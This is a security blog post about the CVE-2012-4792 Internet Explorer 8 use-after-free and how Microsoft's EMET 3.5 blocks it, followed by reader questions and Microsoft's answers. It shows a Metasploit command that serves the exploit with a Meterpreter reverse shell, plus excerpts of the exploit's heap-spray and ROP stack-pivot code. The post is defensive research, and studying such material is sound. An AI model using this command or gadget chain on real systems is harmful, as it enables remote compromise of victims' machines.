EMET 3.5: The Value of Looking Through an Attacker's Eyes

Published: 2013-01-02. Last Updated: 2013-01-03 19:00:55 UTC
by Russ McRee (Version: 1)
8 comment(s)

Following is a guest post from TJ O'Connor, author of Violent Python, SANS Technical Institute graduate, and GSE.

So it's probably worth talking about the recent IE 8.0 0-day. While the use-after-free exploit specifically targets IE 6 through IE 8 web browsers, its worth of mentioning because of its widespread use in targeted attacks seen in the US, China, and Taiwan. The security company, Fireye found the exploit rigged on a compromised page on the Council on Foreign Relations website among other locations.

As a defender, you probably find yourself asking the wrong question when it comes to defending against this exploit. Is there a patch available? What is the Microsoft approved Fixit solution until a patch can be developed? Is there an antivirus signature for it? Don’t fret, as previously noted, Microsoft Tech Net has a temporary fix in place. While useful in preventing this specific attack, the fix is the wrong way of thinking about a solution to the bigger problem. As a defender, you need to start understanding that 0-day is out there. Its going to continue to be out there and you need the mechanisms in-place to stop 0-day. That’s a little arrogant statement considering we define 0-day as a previously unknown computer virus for which antivirus signatures are not yet available. So how do you defend what you cannot define?

To succeed, we must really look at the attack through the eyes of the attacker. The team over at Metasploit recently developed an open source version of the exploit for use in their framework. Let's use it as a starting point to examine how we can prevent this attack without a readily available path (or for that matter prevent further attacks.) We begin our examination by using the Metasploit framework to stand-up a malicious webserver hosting the exploit. The specific command involved starts a handler on our lab host 10.10.10.104 on TCP port 8282. If the exploit succeeds, it delivers the malicious Meterpreter payload to our host on TCP port 1337.

msfcli exploit/windows/browser/ie_cbutton_uaf SRVHOST=10.10.10.104 SRVPORT=8282 payload=windows/Meterpreter/reverse_tcp LPORT=1337 LHOST=10.10.10.104 E

Meterpreter

We fire up a freshly patched and updated Windows XP Sp3 machine running the newest version of Internet Explorer 8 to serve as a victim to browse to our malicious webserver created by the Metasploit framework.Internet Explorer 8

When a victim browses our malicious server, we see the Metasploit framework sends the malicious HTML page, specifically targeted for Windows XP Sp3 (based on our user agent string.) After about sixty seconds or so of heap-spray, we see the exploit succeeds and opens a Meterpreter session on our victim. 

Meterpreter Session

The source code for the Metasploit version of the exploit can be found on their online repository.

Lets examine a couple key aspects in the source before proceeding to understand this particular exploit. We know the particular vulnerability is a use-after-free. Combined with a technique known as heap-spraying, the Metasploit exploit essentially sprays the heap with malicious executable code with the intent to make that code run when the use-after-free crash is triggered. Note the Metasploit exploit source code. First, the exploit defines a payload (the Meterpreter in our case above) and then passes that to a function that creates Javascript code to spray the heap of the Internet Explorer executable process.

def load_exploit_html(my_target, cli)

           

                p  = get_payload(my_target, cli)

                js = ie_heap_spray(my_target, p)

As you look further into the source code for the exploit, you’ll notice it also uses a technique known as ROP or Return Oriented Programming. Security researcher Dino Dai Zovi provides an excellent overview of ROP use in exploits in his paper Practical Return Oriented Programming. But essentially, it’s a technique of using small bits of already existing instructions, followed by a return instruction for a malicious purpose when code cannot be placed on the program’s stack because of security mechanisms such as Microsoft’s Data Execution Prevention (DEP). ROP is commonly used in modern exploits, so its no surprise to see it here. In fact, it uses a common ROP chain, found in the msvcrt dynamic link library to create a stackpivot.

               # Both ROP chains generated by mona.py - See corelan.be    

                case t['Rop']

               when :msvcrt

                           print_status("Using msvcrt ROP")

                           if t.name =~ /Windows XP/

                                              stack_pivot = [0x77c15ed6].pack("V") * 54 # ret

                                              stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret

                                              stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c

160    

                                rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})

 

At this point, you may start seeing how we need to be protecting against novel exploits such as the recent CVE-2012-4792. We cannot continue to defend against the particular exploit by developing and employing a patch or signature. Rather, we should be defending against the more general technique used in the delivery of the exploit. In this case, we saw a heap-spray as well as a ROP.

The team at Microsoft is equally looking in this direction. Matt Miller from Microsoft gave an excellent presentation this summer how Microsoft Windows 8 would begin defending against exploits, it's worth checking out.

Taking a cue from Microsoft, we download and install the Microsoft Enhanced Mitigation Experience 3.5 toolkit from http://www.microsoft.com/en-us/download/details.aspx?id=30424.

Download EMET

EMET is a tool designed by the Microsoft team to specifically look for those mitigation techniques used such as a heap-spray and ROP to bypass popular mechanisms such as Address Space Randomization Layout (ASLR) or Data Execution Prevention (DEP). Firing up the tool, we choose to enable different exploit protection mechanisms such as enforcing hardware-based DEP, ensuring Safe Structure Handling, Detecting Heap-Sprays, … In this case, we are going to protect the Internet Explorer 8 web browser attacked in CVE-2012-4792.

Application Configuration

Repeating the exploit with EMET 3.5 running, we see an interesting notification before Internet Explorer gracefully terminates. EMET detects the heap-spray and terminates.

HeapSpray Notifier

Ok. But what if the exploit didn’t include a heap-spray? We disable heap-spray detection and repeat the exploit again. This time, we choose to mitigate ROP attacks by looking for a technique known as a StackPivot. (you may remember from the exploit source code). The exploit still fails as EMET detects the StackPivot.

StackPivot notifier

Maybe, it doesn’t use a stack pivot. Maybe it uses some unheard of technique that bypass DEP by making a call to one of the several Win32 API calls that can turn off DEP such as VirtualProtect(). Nope! Again, EMET detects the call and notices it has been called from a userland process and not the kernel. It terminates Internet Explorer and notifies the user.

ROP

Moral of the story – we continue to look at defense in the wrong light. We don’t need signatures for every exploit to prevent them from succeeding. We don’t need teams developing patches and hotfixes in a 48-hour rush over the New Year holiday. We don’t need to race to deploy the patches or hotfixes on production systems. Instead, we need to begin understanding the way attackers attack and the methods and means they use to mitigate exploit protections and attack those methods. Microsoft knows this. Its probably why they hired Matt Miller, originally the third developer at Metasploit. Miller, who published great exploit research including a means for bypassing hardware-enforced DEP has now joined Microsoft in giving us a tool to defend against exploits – EMET 3.5. Check it out and start rethinking the way you defend!

TJ O'Connor @ViolentPython

8 comment(s)

Comments

I haven't used EMET before.. Am I right in assuming that EMET complements standard anti-virus s/w on the users PC? If so, are you aware of any anti-virus suites that already include the functionality provided by EMET?
I've been pushing to get EMET installed at my company but the Desktop team has been having numerous issues with false positives where processes are getting blocked or are crashing. Any suggestions on how to fight this battle?

As every other company, we are constrained by the amount of time groups are willing to use on security projects.
Good article!
EMET 3.5 is still in the "tech preview" stage (it's been that way since July it appears). Does anyone hae word on when this is going into production? I'm working on pushing out EMET now and would like to use the latest and greatest.
Side note feature request to ISC Admins: The ability to create alerts when comments are added to a particular article. :-)
Has the EMET tool the ability to control every application you point it at or does the protection only work for the MS applications?
What is the value of this tool on win7? According to the miller prez -only- 5% of exploits succeeded against 7. Does EMET lower this risk (5% still seems pretty high)?
Micky, EMET works with non-MS apps: "One of the primary benefits of EMET is in hardening legacy applications that either don’t have up-to-date security mitigations in-code, or that haven’t been patched to the latest versions."
See: http://blogs.technet.com/b/configmgrteam/archive/2012/05/15/deploying-and-configuring-the-enhanced-mitigation-experience-toolkit.aspx
I've been using EMET 3.5 since August, it works extremely well.
be careful since you need install the names of all your startup resident and for each operating program you use you also need the support programs. EMET helps you by providing the names of all resident programs any time you look at EMET
I asked the team responsible for EMET at Microsoft to address some of the comments. Following are their replies:
Q: I haven't used EMET before. Am I right in assuming that EMET complements standard anti-virus s/w on the users PC? If so, are you aware of any anti-virus suites that already include the functionality provided by EMET?
A: Your assumption is right. EMET complements standard anti malware software on users’ machines. It offers a set of mitigations based on malicious behaviors rather than signatures, a different approach from a regular anti malware software, and provides protection for malicious activity that a standard anti malware software cannot detect. As of today, we are not aware of any anti malware solution that offers the same set of mitigations offered by EMET.

Q: I've been pushing to get EMET installed at my company but the Desktop team has been having numerous issues with false positives where processes are getting blocked or are crashing. Any suggestions on how to fight this battle?
As every other company, we are constrained by the amount of time groups are willing to use on security projects.
A: What we suggest to our customers while testing their set of applications is to disable the mitigation that causes the crash/problem and continue the test with the other mitigations enabled. Having the possibility to disable single mitigations allows to still have protection without losing functionality.

Q: EMET 3.5 is still in the "tech preview" stage (it's been that way since July it appears). Does anyone have word on when this is going into production? I'm working on pushing out EMET now and would like to use the latest and greatest.
A: EMET 3.5 will see its stable release in the next months. For production environments we suggest to use EMET 3.0, that offers a smaller set of mitigations but it has been widely tested and it’s currently used by companies of any sizes, as well as consumers.

Q: Has the EMET tool the ability to control every application you point it at or does the protection only work for the MS applications?
A: EMET works with all applications (on an executable base) that is configured to protect, both from Microsoft and third party vendors.

Q: What is the value of this tool on win7? According to the miller prez -only- 5% of exploits succeeded against 7. Does EMET lower this risk (5% still seems pretty high)?
A: Windows 7 offers a robust set of mitigations in-band. However, software needs to opt-in these mitigations to be effective. EMET gives the possibility to enforce this mitigation to software that has not opted-in the in-band mitigations and also offers other mitigations that are not present in Windows 7.

Diary Archives